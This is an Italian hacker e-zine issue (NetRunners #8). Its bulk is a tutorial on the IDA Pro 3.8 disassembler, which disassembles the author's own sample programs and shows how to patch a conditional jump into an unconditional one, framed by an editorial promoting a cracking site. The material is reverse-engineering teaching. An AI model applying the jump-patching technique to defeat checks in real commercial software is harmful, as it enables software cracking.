NR #8 - OoCities

Transcript

NR #8 - OoCities
_______
\
\
_____/
__ __________
|\______
\__ __
____
____
___________
______
/
|
\_/ __ \
__\
_/
|
\/
\
|
/
\ /
\_/ __ \_
__ /
___/
/
|
\
___/|
| |
|
|
\
|
\
___/|
|
\|___ \
\____|__
/____
/\___
>__| |____|_
/____/|___|
/___|
/\___
>__|
>
\/
\/
\/
\/
\/
\/
\/(r)
4 0 4
------------------------------------------------------------------------FrOm Spp to tHe NeT
NumEro OtTo
------------------------------------------------------------------------Sommario:
--------Editoriale
----------
By Flamer
IDA Pro 3.8
-----------
By Quequero
Smart Data Recovery
-------------------
By x-h4ck3r
mIRC 5.51
--------Installazione "invisibile" del cestino da picnic
-----------------------------------------------By Buttha
I Firewall
----------
By GboZ - Traduzione by ADaM
Raccolta di mail riguardanti il Riddle
--------------------------------------
By [mAx]
================================================================================
===========
Editoriale
---------by Flamer
---------Ave a voi, navigatori solitari...
Quello che avete tra le mani, anzi sull'hard disk, e' il numero 8 di NetRunners,
ed e' pieno di articoli (come al solito) decisamente interessanti.
Una new entry graditissima nel panorama italiano e' quella di Quequero, e del
suo sito sul cracking, decisamente molto ben fatto.
Non l'avete ancora visitato? Che aspettate?!? Andateci immediatamente!
Intanto abbiamo il piacere di pubblicare nella nostra rivista un tutorial
scritto proprio da Quequero, che ci insegna ad apprezzare le potenzialita'
dell'IDA Pro, un eccellente disassemblatore.
Molti cervelli si sono spremuti fino all'osso sul riddle proposto da Master...
ed alcuni sono riusciti a risolverlo. Primo fra tutti il nostro neo-fratellino
[mAx], che ci propone una raccolta degli indizi piu' utili pubblicati in mailing
list per chi ancora si sta spremendo le meningi e magari si e' perso qualcosa...
Inoltre vi posso anticipare che per un po' di tempo mIRC occupera' uno spazio
fisso della nostra rivista, con una serie di tutorial che ci illustreranno a
fondo il funzionamento di questo diffusissimo programma.
Solo un'ultima nota... per poter apprezzare appieno l'articolo scritto da Buttha
dovrete avere alcuni files... che avevo pensato di allegare a questa rivista.
Pero' alla fine ho deciso di lasciare le cose cosi' come stanno... quei file
sono comunque disponibili su www.spippolatori.com, quindi chi e' interessato
puo' scaricarseli da li'.
Ma ora vi lascio alla lettura di questo numero 8, e vi ricordo che chiunque
volesse contribuire, suggerire, insultare, puo' farlo scrivendo a me
([email protected]) o a Brigante ([email protected]).
Have fun!
-SPP MeMbeR-=F14m3r=-®
-SPP MeMbeR_#_
----------IDA Pro 3.8
----------by Quequero
Salve a tutti, in questo tutorial cercherò di spiegarvi nel modo più chiaro
possibile l'utilizzo del miglior dissassembler che che esiste, cioè: IDA Pro, il
tutorial non è orientato ai NewBies NewBies però possono provarci anche loro,
questo tutorial è una beta version da essere ampliata, la versione nuova tra un
po'di giorni buona lettura.
IDA Pro sta a significare: Intercative Disassembler Pro, infatti è verissimo che
ida è interattivo, ma andiamo per gradini ed iniziamo. Scegliamo un file da
disassemblare, possibilmente uno molto piccolo e magari per windows, clicchiamo
su Idaw.exe, vediamo apparire la finestra del nostro amato programma, premiamo
ok e scegliamo il file, a questo punto Ida aprirà una finestra con scritto in
alto "Load File of New Format", nelle prime tre righe ci viene chiesto di
scegliere il tipo di file che si vuole disassemblare, cioè se un eseguibile
Windows (o che comunque usi il formato PE), un eseguibile DOS oppure un file
binario, checkiamo la prima casella: Portable Esecutable, più in basso vediamo
la scritta "Loading Segment", qui dovrete inserire l'entry point del programma,
in genere è 0x1000, come di default, ma se siete incerti aprite il file col
ProcDump e vedetelo, lasciamo quindi 0x1000, più in basso appare un altro campo
"Loading offset", nel quale dovremmo inserire l'offset del primo byte
dell'inizio del primo segmento, ma a noi non interessa infatti questa opzione va
utilizzata solo se si vuole disassemblare un file binario, più in basso dobbiamo
checkare altre caselle, per ora ve le enumero e poi ve le spiego:
Create segments
Load resources
Rename DLL entries
Manual load
Fill segment gaps
Make imports section
Don't align segments
Allora, Create segments è un'opzione utile per i file binari, infatti ci crea i
vari segmenti, ma ciò non è necessario se si vuole disassemblare un eseguibile,
Load resources invece carica le risorse dai file NE, neanche questa è necessaria
se si disassembla un eseguibile con formato PE, Rename DLL entries è un'opzione
che se non attivata permette a IDA di piazzare tra il disassemblato dei commenti
ripetibili ad ogni funzione importata, Manual load non ci interessa nel caso dei
file con formato PE, se però il formato è diverso allora l'opzione può essere
attivata e IDA ci chiederà l'indirizzo per il caricamento di ogni oggetto del
file, Fill segment gaps è lo stesso utile solo per formati diversi dal PE, se
checkata IDA non fa altro che riempire tutti i "buchi" tra i vari segmenti, Make
imports section è invece utile per i file in formato PE, se attivata dice a IDA
di eliminare la sezione .idata dal file e di convertire tutte quante le
definizioni in essa presenti come direttive esterne, la guida ci dice che
qualche volta nella sezione .idata possiamo trovare delle informazioni
aggiuntive e dobbiamo quindi disabilitare questa opzione, Don't align segments,
come dice la parola stessa, se checkiamo questa opzione non permettiamo il
riallineamento dei segmenti, ma non serve per i file con formato PE. A questo
punto ci troviamo davanti anche due pulsanti uno con scritto "Processor Type", a
differenza di ciò che potreste credere qui non dovrete specificare il tipo di
processore che avete ma il tipo di processore per il quale è stato scritto il
programma, di default è 80386 ed è giusto che sia così, quindi potete lasciare
inalterata questa opzione, l'altro pulsante reca il testo "Analisys options",
cliccate anche qui sopra e vedrete altri due pulsanti e due opzioni, esaminiamo
prima queste due:
Analysis enabled: se la casella è checkata allora IDA analizzerà il programma
mentre noi non stiamo agendo sul disassemblato, lasciando comunque la priorità
alle nostre richieste, questa opzione deve essere abilitata, se non lo fosse
potremmo incorrere in problemi di varia natura.
Indicator enabled: è quel contatore che si trova in alto a destra e che reca le
scritte:
AU:__idle__ AutoAnalysis is finished.
AU:disable AutoAnalysis is disabled.
FL:<address> execution flow is being traced
PR:<address> function is being created
AC:<address> the code analysis goes through the noted address
LL:<number> a signature file is being loaded
L1:<address> the first pass of FLIRT
L2:<address> the second pass of FLIRT
L3:<address> the third pass of FLIRT
FI:<address> the final pass of autoanalysis
??:<address> the noted address becomes unexplored
@:<number> indication of various activity
a seconda di cosasta facendo IDA...È meglio lasciarlo abilitato. Poi abbiamo i
due pulsanti, clickiamo sul primo "Kernel analyser options" e vediamo apparirci
davanti una morra di opzioncine eccole:
Create offsets and segments using fixup info
Mark typical code sequences as code
Delete instructions with no xrefs
Trace execution flow
Create functions if call is present
Analyse and create all xrefs
Use flirt signatures
Create function if data xref data->code32 exists
Rename jump functions as j_...
Rename empty functions as nullsub_...
Create stack variables
Trace stack pointer
Create ascii string if data xref exists
Convert 32bit instruction operand to offset
Create offset if data xref to seg32 exists
Make final analysis pass
Locate and create jump tables
Coagulate data segments in the final pass
Dhe hi hi, ora ci divertiamo, tralascerei volentieri la spiegazione di tutte
queste funzioni ma, come ogni guida che si rispetti devo analizzare il programma
da cima a fondo....Chissà forse un giorno qualcuno domanderà a qualcun altro
"Hei dove imparo ad usare IDA?" e quel qualcun altro dirà "Prova sul sito di
Quequero, ha scritto un'ottima guida"....Dhe hi hi lascietemi sognare ;))))))))
Riprendendo il filo del discorso ecco la spiegazione:
Create offsets and segments using fixup info: IDA per rendere più piacevole il
disassemblato fa uso delle informazioni di rilocazione e converte tutti gli
oggetti con le info di rilocazione in word o doubleword e se un'istruzione ha
assegnate delle informazioni di rilocazione IDA converte i dati ad un offset
oppure ad un segmento, per esempio poniamo di avere nel nostro codice sorgente
qualcosa di questo genere:
.386
-----snip snip----.data
qualcosa dd 000F3785h
.code
start:
mov eax, offset qualcosa
end start
Se disassembliamo il file con W32Dasm otteniamo qualcosa come:
mov eax, 0040200
Se invece lo disassemblassimo con IDA e con l'opzione di cui sopra attivata
allora otterremo qualcosa come questa:
mov eax, offset qualcosa
Capitoooooo!!!! ;)
Mark typical code sequences as code: a detta dell'autore IDA riconosce alcune
sequenze tipiche di codice (esempio: push bp e mov bp, sp) e durante il
caricamento se ne trova qualcuna la converte in istruzione
Delete instructions with no xrefs: permette a IDA di non definire le istruzioni
non referenziate, in pratica se noi eseguiamo il comando "undefine" (che vi
spiegherò in seguito) all'inizio di una funzione il programma cancellerà tutte
le istruzioni che hanno perso contatto con l'istruzione appena "undefinita"...vi
si chiarirà tutto più tardi non preocccupatevi ;)
Trace execution flow: permette a IDA di convertire tutte le referenze a dei byte
in istruzioni
Create functions if call is present: fa si che IDA crei una funzione se nel
codice è presente una chiamata, in pratica se nel codice troviamo una chiamata
di quesro genere:
call routine
allora IDA creerà una funzione all'etichetta "routine", questa opzione cerca di
"staccare" le chiamate dal resto del codice per permetterci un approccio
visuale, ma anche tecnico, più semplice
Analyse and create all xrefs: questa è l'opzione che fa la differenza tra IDA ed
il W32dasm, senza di essa il nostro programma non analizzerebbe il file e non
creerebbe tutte le xreferences e le altre chicche caratteristiche di IDA.
Use flirt signatures: permette l'uso della tecnologia FLIRT, non preoccupatevi
non vedrete IDA e IDO fare gli sporcaccioni sul monitor ;))))))
Create function if data xref data->code32 exists: se IDA incontra un riferimento
ad un dato da un SEGMENTO DATI ad un SEGMENTO CODICE a 32bit controlla la
presenza di istruzioni disassemblabili utili, se trova un'istruzione la marca
(manco a dirlo ;) come un'istruzione e crea lì una funzione
Rename jump functions as j_...: funzione di utilità elevatissima, questa opzione
permette ADDIRITTURA di cambiare una istruzione come:
jmp dovevuoi
in:
j_dovevuoi
vi rendete conto...Ma dico ve ne rendete conto di quanto la presenza di questa
opzione possa permettere anche a mio cugino di 10 anni di diventare
cracker...Mio dio che genio l'autore del programma ;))))))))))))))))) scherzi a
parte lui è stato davvero un genio
Rename empty functions as nullsub_...: permette a IDA di rinominare le funzioni
vuote, cioè quelle contenenti solo l'istruzione "ret" come nullsub_1...nullsub_2
ecc...Anche questa funzione deve essere stata pensata per decenni ;))))
Create stack variables: fa si che IDA crei automaticamente le variabili dello
stack ed i parametri delle funzioni
Trace stack pointer: con questa opzione attivata IDA traccerà il valore dello
Stack Pointer (SP)
Create ascii string if data xref exists: se IDA incontra una referenza ad un
oggetto non definito allora cerca per la presenza di una stringa ASCII, se la
lunghezza della stringa è abbastanza allora IDA crea guarda caso una stringa
ASCII ;)
Convert 32bit instruction operand to offset: funzia solo su segmenti a 32bit, se
un'istruzione ha un operando che può essere convertito ad un'utile esepressione
allora la converte in offset, il valore dell'operando deve però essere più
grande di 0x10000
Create offset if data xref to seg32 exists: se nel programma IDA incontra un
riferimento ad un segmento a 32bit ed il file contiene un valore che può essere
rappresentato come un offset allora IDA lo converte.....ad un offset
Make final analysis pass: questa opzione permette a IDA di coagulare tutti i
byte non esplorati convertendoli da dati ad istruzioni
Locate and create jump tables: questa opzione permette a IDA di ipotizzare la
dimensione e l'indirizzo di una "jump table"
Coagulate data segments in the final pass: questa opzione torna utile solo se è
attivata anche l'opzione "Make final analysis pass" e permette a IDA di
convertire i byte insplorati ad array di dati nel segmento dati. Se
disabilitiamo questa opzione IDA coagulerà solo il segmento codice.
Ottimo, abbiamo finito questo pulsante, lasciamo le impostazioni di default, o
se volete disabilitate quella che converte i jump xxxx in j_xxxx che spesso è
più scomoda che utile e premiamo esc per entrare nei meandri del pulsante
"Processor specific analysis options", dopo il click ci si presentano solo 4
opzioni e spieghiamole come solito una ad una:
Convert
Convert
Convert
Convert
immediate operand of "push" to offset
db 90h after "jmp" to "nop"
immediate operand of "mov reg,..." to offset
immediate operand of "mov memory,..." to offset
Convert immediate operand of "push" to offset: se ida vede una sequenza tipo
questa: push seg, push gino, proverà a convertire gino in un offset
Convert db 90h after "jmp" to "nop": se dopo un jump troviamo "db 90h" invece di
lasciarlo com'è lo trasforma in nop (No operation)
Convert immediate operand of "mov reg,..." to offset: anche qui se ida trova
qualcosa come: mov ax, 258h, mov sp, es allora convertirà 258h in un offset
Convert immediate operand of "mov memory,..." to offset: ancora se IDA trova
istruzioni come: mov ax, 895h mov X, seg (X è un riferimento ad una memoria)
allora converte 895h in offset
Ottimo premiamo esc due volte e diamo un'occhiata al pannello, l'unica cosa che
c'è rimasta è quel campo indicato da dll directory, lì dobbiamo inserire la
directory nella IDA andrà a guardare per trovare i riferimenti alle varie DLL,
il problema è che ida non cerca le DLL bensì i file .ids, la directory nel mio
caso è: c:\ida\ids\Win se usate windows altrimenti cambierà solo l'ultima
cartella.
Siamo pronti a questo punto per iniziare il disassembling del file, sceglietene
uno piccolo....molto piccolo consiglio 8-15 kb che ci vogliono pochi secondi, lo
dico per coloro che IDA la stanno conoscendo solo ora, questo programma è molto
ma molto più lento del W32dasm vi garantisco però che tutto il tempo in più che
perdete nel disassembling lo riguadagnate dopo, quindi premete "OK" ed
aspettate....Allora, appena il segnalatore in alto a destra recherà la scritta
"ready" vorrà dire che IDA avrà finito, a quel punto avrete davanti come prima
cosa una pagina come questa:
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
; File Name : C:\esempio.exe
; Format : Portable executable (PE)
; Section 1. (virtual address 00001000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000400 ( 1024.)
; Offset to raw data for section: 00000600
; Flags 60000020: Text Executable Readable
; Alignment : 16 bytes ?
p386n
model flat
; ---------------------------------------------------------------; Segment type: Pure code
CODE segment para public 'CODE' use32
assume cs:CODE
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
;____________________________________________
; S u b r o u t i n e
public start
start proc near
In questa prima parte abbiamo tutte le intestazioni iniziali del file, quelle in
pratica che vedremmo se avessimo il sorgente e soprattutto IDA ci informa del
tipo di file appena disassemblato nel caso non lo avessimo saputo prima. Vorrei
passare però ad un esempio pratico, l'autore ci dice che possiamo utilizzare IDA
per tre scopi:
1) Imparare un trucco di programmazione in un programma interessante
2) Patchare il file se non si ha il sorgente
3) Ottenere un codice compilabile dal disassemblato
Noi faremo tutte e tre le cose, iniziamo.
Quello che vi propongo ora è il codice assembly di un programmillo che genera
una messagebox a seconda del valore che assume eax, ecco il codice, capirete con
il commento:
---------------------------------------------------8<-----------------------------------------------------; Per compilare il sorgente è necessario possedere TASM 5.0 reperibile sul
; mio sito: http://quequero.cjb.net nella sezione tools
;
; Ecco le istruzioni di compilazione, basta scriverle in un prompt di DOS
; tasm32 /t -ml -m5 -q esempio
; tlink32 -Tpe -aa -x -c esempio ,,, import32
.386p
.model flat, stdCALL
extrn MessageBoxA:Proc ; definiamo le API necessarie
extrn ExitProcess:Proc
include windows.inc
.data
Caption db 'Esempio - - Coded by Quequero',0
Messaggio db 'Il registro EAX ha assunto un valore inferiore di 1.771.590.911',0
Random1 dd 12553 ; valori casuali utilizzati nell'algoritmo
Random2 dd 2212 ; di Lehmer
null equ 0
.code
start:
xor eax, eax ; Azzeriamo EAX
mov ecx, 01ffffffh ; Queste due righe servono a creare un timer,
l'istruzione
wait: loop wait ; "loop" decrisa ogni volta ECX fino a che contiene zero, il
; loop in questione fa comparire il messagebox dopo circa
; un secondo dall'avvio del programma
casuale:
mov eax, Random1 ; Algoritmo di Lehmer per la generazione di numeri
mul Random2 ; casuali (anche se dovremmo parlare di pseudo-casualità)
inc eax
mov Random1, eax ; Fine algoritmo
cmp Random1, 699854ffh ; Confronta Random1 con 1.771.590.911 (699854ffh)
jae casuale ; Se Random1 contiene un valore maggiore o uguale a quello
; stabilito prima ripeti l'algoritmo altrimenti continua sotto
push MB_OK OR MB_ICONQUESTION ; Genera una messagebox con un pulsante di
ok,
push offset Caption ; l'icona della "i" di informazione ed il testo
push offset Messaggio ; contenuto nelle stringhe "Caption" e "Messaggio"
push null
call MessageBoxA
call ExitProcess ; Esci dal programma
end start
---------------------------------------------------8<-----------------------------------------------------come potete vedere il programma setta un timer ad un secondo e poi da il via
alla generazione di un numero pseudo-casuale tramite l'algoritmo di Lehmer, il
timer all'inizio è dovuto al fatto che la CPU impiega un tempo infinitesimale a
generare tanti numeri affinchè uno sia minore del valore da noi proposto, in
questo modo ritardiamo il sorgere della messagebox.
Supponiamo di essere a conoscenza della presenza dell'algoritmo di Lehmer in
questo programma, questo algoritmo ci serve assolutamente ma non sappiamo dove
reperirlo, cosa facciamo allora? Ovvio! Disassembliamo il programma e cerchiamo
di ritrovarcelo là in mezzo, apriamo IDA e vediamo cosa ci racconta:
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
CODE:00401000
; File Name : C:\tasm\prog\wind.EXE
; Format : Portable executable (PE)
; Section 1. (virtual address 00001000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00000600
; Flags 60000020: Text Executable Readable
; Alignment : 16 bytes ?
p386n
CODE:00401000 model flat
CODE:00401000 ; ---------------------------------------------------------------CODE:00401000 ; Segment type: Pure code
CODE:00401000 CODE segment para public 'CODE' use32
CODE:00401000 assume cs:CODE
CODE:00401000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
CODE:00401000 ; ________________________________________________________________
CODE:00401000 ; S u b r o u t i n e
CODE:00401000 33 C0 public start
CODE:00401000 start proc near
CODE:00401000 xor eax, eax
CODE:00401002 B9 FF FF FF 01 mov ecx, 1FFFFFFh
CODE:00401007 CODE_401007: ; CODE XREF: start+7 j
CODE:00401007 E2 FE loop CODE_401007
CODE:00401009 CODE_401009: ; CODE XREF: start+24 j
CODE:00401009 A1 5E 20 40 00 mov eax, ds:DATA_40205E
CODE:0040100E F7 25 62 20 40 00 mul ds:DATA_402062
CODE:00401014 40 inc eax
CODE:00401015 A3 5E 20 40 00 mov ds:DATA_40205E, eax
CODE:0040101A 81 3D 5E 20 40 00+cmp ds:DATA_40205E, 699854FFh
CODE:00401024 73 E3 jnb short CODE_401009
CODE:00401026 6A 20 push 20h
CODE:00401028 68 00 20 40 00 push offset str->Esempio--CodedB
CODE:0040102D 68 1E 20 40 00 push offset str->IlRegistroEaxHa
CODE:00401032 6A 00 push 0
CODE:00401034 E8 05 00 00 00 call j_MessageBoxA
CODE:00401039 E8 06 00 00 00 call j_ExitProcess
CODE:00401039 start endp
CODE:0040103E ; ________________________________________________________________
CODE:0040103E ; S u b r o u t i n e
CODE:0040103E j_MessageBoxA proc near ; CODE XREF: start+34 p
CODE:0040103E FF 25 4C 30 40 00 jmp ds:MessageBoxA
CODE:0040103E j_MessageBoxA endp
CODE:00401044 ; ________________________________________________________________
CODE:00401044 ; S u b r o u t i n e
CODE:00401044 j_ExitProcess proc near ; CODE XREF: start+39 p
CODE:00401044 FF 25 54 30 40 00 jmp ds:ExitProcess
CODE:00401044 j_ExitProcess endp
CODE:0040104A 00 00 00 00 00 00+align 200h
CODE:00401200 ?? ?? ?? ?? ?? ??+db 0E00h dup(?)
CODE:00401200 ?? ?? ?? ?? ?? ??+CODE ends
DATA:00402000 ; Section 2. (virtual address 00002000)
DATA:00402000 ; Virtual size : 00001000 ( 4096.)
DATA:00402000 ; Section size in file : 00000200 ( 512.)
DATA:00402000 ; Offset to raw data for section: 00000800
DATA:00402000 ; Flags C0000040: Data Readable Writable
DATA:00402000 ; Alignment : 16 bytes ?
DATA:00402000 ; ---------------------------------------------------------------DATA:00402000 ; Segment type: Pure data
¦DATA:00402000 DATA segment para public 'DATA' use32
¦DATA:00402000 assume cs:DATA
¦DATA:00402000 45 73 65 6D 70 69+str->Esempio--CodedB db 'Esempio - - Coded by
Quequero',0
¦DATA:00402000 6F 20 2D 20 2D 20+ ; DATA XREF: start+28 o
¦DATA:0040201E 49 6C 20 72 65 67+str->IlRegistroEaxHa db 'Il registro EAX ha
assunto un valore infe
¦DATA:0040201E 69 73 74 72 6F 20+ ; DATA XREF: start+2D o
¦DATA:0040205E*09 31 00 00 DATA_40205E dd 3109h ; DATA XREF: start+9 r
¦DATA:0040205E* ; start+15 w
¦DATA:0040205E* ; start+1A r
¦DATA:00402062 A4 08 00 00 DATA_402062 dd 8A4h ; DATA XREF: start+E r
¦DATA:00402066 00 00 00 00 00 00+align 1000h
¦DATA:00402066 00 00 00 00 00 00+DATA ends
¦.idata:0040304C ;
¦.idata:0040304C ; Imports from USER32.dll
¦.idata:0040304C ;
¦.idata:0040304C ; Section 3. (virtual address 00003000)
¦.idata:0040304C ; Virtual size : 00001000 ( 4096.)
¦.idata:0040304C ; Section size in file : 00000200 ( 512.)
¦.idata:0040304C ; Offset to raw data for section: 00000A00
¦.idata:0040304C ; Flags C0000040: Data Readable Writable
¦.idata:0040304C ; Alignment : 16 bytes ?
¦.idata:0040304C ; ------------------------------------------------------------¦.idata:0040304C ; Segment type: Externs
¦.idata:0040304C ; _idata
¦.idata:0040304C ?? ?? ?? ?? extrn MessageBoxA:dword ; DATA XREF:
j_MessageBoxA r
¦.idata:00403050
¦.idata:00403054 ;
¦.idata:00403054 ; Imports from KERNEL32.dll
¦.idata:00403054 ;
.idata:00403054 ?? ?? ?? ?? extrn ExitProcess:dword ; DATA XREF: j_ExitProcess r
.idata:00403058 00 00 00 00 end start
Come potete notare il codice è di difficile interpretazione, non per la
difficoltà ma per il casino di numeri, per diminuire il bordello possiamo fare
una cosa cioè: sappiamo che in un programma salvo eccezione il codice che ci
interessa si trova nelle sezioni CODE (nel caso sia stato compilato con un
compilatore Borland) e .text (se è stato compilato con qualcos'altro), come
potete ben vedere, di lato al virtual address c'è il nome della sezione
".idata.00403054" così facendo potremmo tagliar via una buona parte di codice
"futile", ma perchè farlo a mano quando IDA ci mette a disposizione un'opzione
molto utile? Bene usiamola, andate nel menu "View2 e cliccate su "Segments" e
scegliete "CODE", doppioclickateci sopra e guradate un po' cosa abbiamo
davanti?....
CODE:00401000
CODE:00401000
CODE:00401002
CODE:00401007
CODE:00401007
CODE:00401009
CODE:00401009
CODE:0040100E
CODE:00401014
CODE:00401015
CODE:0040101A
CODE:00401024
CODE:00401026
CODE:00401028
CODE:0040102D
CODE:00401032
CODE:00401034
CODE:00401039
CODE:00401039
start proc near
xor eax, eax
mov ecx, 1FFFFFFh
CODE_401007: ; CODE XREF: start+7 j
loop CODE_401007
CODE_401009: ; CODE XREF: start+24 j
mov eax, ds:DATA_40205E
mul ds:DATA_402062
inc eax
mov ds:DATA_40205E, eax
cmp ds:DATA_40205E, 699854FFh
jnb short CODE_401009
push 20h
push offset str->Esempio--CodedB
push offset str->IlRegistroEaxHa
push 0
call j_MessageBoxA
call j_ExitProcess
start endp
Tadàààààà i sofficiniiiii.....Ehm scusate volevo dire....Tadààààààààà il
codiceeee!!!! Un po' cambiato ma in fondo è quello, allora cerchiamo di capire
come funzia sto algoritmo, possiamo identificarlo subito, parte all'indirizzo
00401009 e termina tre righe sotto, comunque eccolo:
CODE:00401009
CODE:0040100E
CODE:00401014
CODE:00401015
mov
mul
inc
mov
eax, ds:DATA_40205E
ds:DATA_402062
eax
ds:DATA_40205E, eax
allora, facciamo finta di non aver creato noi il programma e di aver
identificato l'algoritmo andando per esclusione, ci troviamo davanti due valori
che non sappiamo di che genere siano e questi sono: DATA_40205E e DATA_402062,
come facciamo a sapere che valori contengono? Semplice premete in IDA "G" che
significa "Go to address" e scriviamo nel box che i è appena apparso
"DATA:40205E" e poi invio, potevamo anche cliccare su "View | Segments", andare
su "DATA" e cercare l'indirizzo manualmente, ma così si fa prima, molto più
seplice era doppioclickare su quel nome ;), ecco comunque ciò che ci appare
davanti:
DATA:0040205E DATA_40205E
DATA:0040205E* ; start+15
DATA:0040205E* ; start+1A
DATA:00402062 DATA_402062
dd 3109h ; DATA XREF: start+9 r
w
r
dd 8A4h ; DATA XREF: start+E r
Dhe hi hi, guardate un po', abbiamo due valori esadecimali che se convertiti in
decimali sono gli stessi di quelli che avevamo usato noi per Random1 e Random2,
se siamo proprio dei beoti e non capiamo ancora l'algoritmo usiamo una delle
funzione che amo di più cioè quella che ci permette di rinominare le istruzioni,
clickiamo una volta su DATA_40205E e premiamo "N", scriviamo nel box "Random1",
clickiamo poi su DATA_402062 e facciamo la stessa cosa solo inserendo "Random2",
torniamo al pezzo di codice precedente premendo esc e guardate un po' la
sorpresa:
CODE:00401009
CODE:0040100E
CODE:00401014
CODE:00401015
mov
mul
inc
mov
eax, ds:Random1
ds:RANDOM2
eax
ds:Random1, eax
proviamo ora a fare una bella cosa, selezionate queste quattro righe in IDA col
mouse (cliccate sulla prima riga e scendete fino alla quarta), cliccate poi sul
menu "File" poi "Produce output file" e poi ancora "Produce asm file..." salvate
il file con un nome qualunque ed andate ad aprirlo con il notepad, togliete
tutti i "ds", ricordate anche che IDA ci ha fatto vedere che Random1 e Random2
erano delle doubleword contenenti i valori 3109h e 8a4h....ed ecco il risultato:
Random1 dd 12553 ; questo ce lo aggiungete voi, 12553 e 2212 sono i valori
esadecimali
Random2 dd 2212 ; covertiti in decimali
mov eax, Random1
mul RANDOM2
inc eax
mov Random1, eax
ragazzi ecco per voi l'algoritmo che cercavamo uguale identico a quello del
nostro sorgente. Abbiamo scoperto come si fa a "leggere" un disasemblato,
impariamo ora come si patcha. IDA ci da la possibilità di cambiare i byte di un
programma e di produrre un eseguibile "patchato" ma come potete vedere essa gira
in una shell DOS ed anche per questo motivo non può creare eseguibili in formato
non DOS, di conseguenza non possiamo patchare il programma appena visto ma
dobbiamo crearne uno appositamente fatto per girare sotto DOS, ecco il codice
assembly:
---------------------------------------------------8<-----------------------------------------------------; Per compilare il sorgente è necessario possedere TASM 5.0 reperibile sul
; mio sito: http://quequero.cjb.net nella sezione tools
;
; Ecco le istruzioni di compilazione, basta scriverle in un prompt di DOS
; tasm esempio
; tlink esempio
.286
.model small
.stack 100h
.DATA
Stringa db 'Bravo mi hai patchato correttamente!!!',0Dh,0Ah,'$'
.CODE
start:
mov ax,@data ; Setta il segment register
mov ds, ax
mov es, ax
xor ax, ax ; Azzera AX
cmp ax, 1 ; Vedi se è uguale ad 1 ?!
je esatto ; È uguale? Mostra la stringa altrimenti chiudi il programma
mov ah,4ch ; Funzione 'Chiudi'
int 21h
esatto:
mov dx, offset Stringa
mov ah, 09h ; Visualizziamo la stringa
int 21h
end start
---------------------------------------------------8<-----------------------------------------------------Questo programmillo non fa altro che azzerare Ax, controllarlo per vedere se è
uguale a 1 e mostrare una stringa se ci è, il problema è che se azzeriamo Ax,
non potrà mai essere uguale a 1 e quindi il programma si chiuderà sempre, ecco
perchè abbiamo bisono di patcharlo. Apriamo IDA, selezioniamo questo file e
disassembliamolo, le vie che ci si pongono sono essenzialmente due cioè:
cambiare l'istruzione "cmp ax, 1" in modo da farla diventare "cmp ax, 0" oppure
forzare il "he esatto" facendolo diventare "jmp esatto", noi comunque le
esamineremo tutte e due. Facciamo un click sull'istruzione "cmp ax, 1",
clicchiamo in alto nel menu "edit" e successivamente su "patch program" poi
dobbiamo scegliere se cambiare un byte, una word oppure assemblare l'istruzione,
in questo caso scegliamo "Assemble..." e scriviamo nel box "cmp ax, 0", il
programma ora è patchato, ma vediamo anche l'altro metodo, clickiamo su "je
esatto" andiamo nel menu di cui sopra, clichiamo su change byte e
scriviamo......cosa scriviamo? Bhè è semplice, dobbiamo cambiare un salto
condizionato in uno incondizionato, sappiamo che tutti i jump short non
condizionati hanno la forma "EB XX" quindi non dobbiamo fare altro che
sostituire i byte "74 04" con "EB 04" ed il gioco è fatto, a questo punto andate
nel menu "File" poi "Produce output file" ed infine "Produce exe file",
salvatelo con un nome qualunque e cliccateci sopra, vedete la stringa? Bene
allora l'avete patchato come Iddio comanda.
Non mi soffermo ulteriormente su questo punto dato che è molto facile patchare
un programma, ma non lo farete comunque mai con IDA dal momento che di programmi
per dos ce ne sono rimasti davvero pochi. Passiamo ora ad analizzare l'aspetto
più importante di IDA cioè: come ricavare un sorgente compilabile dal
disassemblato. Per prima cosa stavolta non vi do il codice ma il disassemblato
di modo che possiate imparare a ricostruire un sorgente, il codice che ho
scritto ve lo darò alla fine, volevo reversare un programmino di winzoz ma non
ne ho trovato nessuno abbastanza piccolo per iniziare, gli unici piccoli erano
poi in formato NE, comunque ecco il file smembrato ;) :
---------------------------------------------------8<-----------------------------------------------------; File Name : C:\tasm\prog\wind.EXE
; Format : Portable executable (PE)
; Section 1. (virtual address 00001000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00000600
; Flags 60000020: Text Executable Readable
; Alignment : 16 bytes ?
p386n
model flat
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; Segment type: Pure code
CODE segment para public 'CODE' use32
assume cs:CODE
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; S u b r o u t i n e
public start
start proc near ; CODE XREF: start+30 j start+45 j
push 23h
push offset str->Esempio2--Coded
push offset str->CiauzCliccaSuUn
push 0
call j_MessageBoxA
cmp eax, 6
jz short CODE_401032
cmp eax, 2
jz short CODE_401047
push 20h
push offset str->Esempio2--Coded
push offset str->HaiSceltoNo
push 0
call j_MessageBoxA
jmp short start
CODE_401032: ; CODE XREF: start+16 j
push 20h
push offset str->Esempio2--Coded
push offset str->BravoHaiSceltoO
push 0
call j_MessageBoxA
jmp short start
CODE_401047: ; CODE XREF: start+1B j
call $+5
jmp ds:ExitProcess
start endp
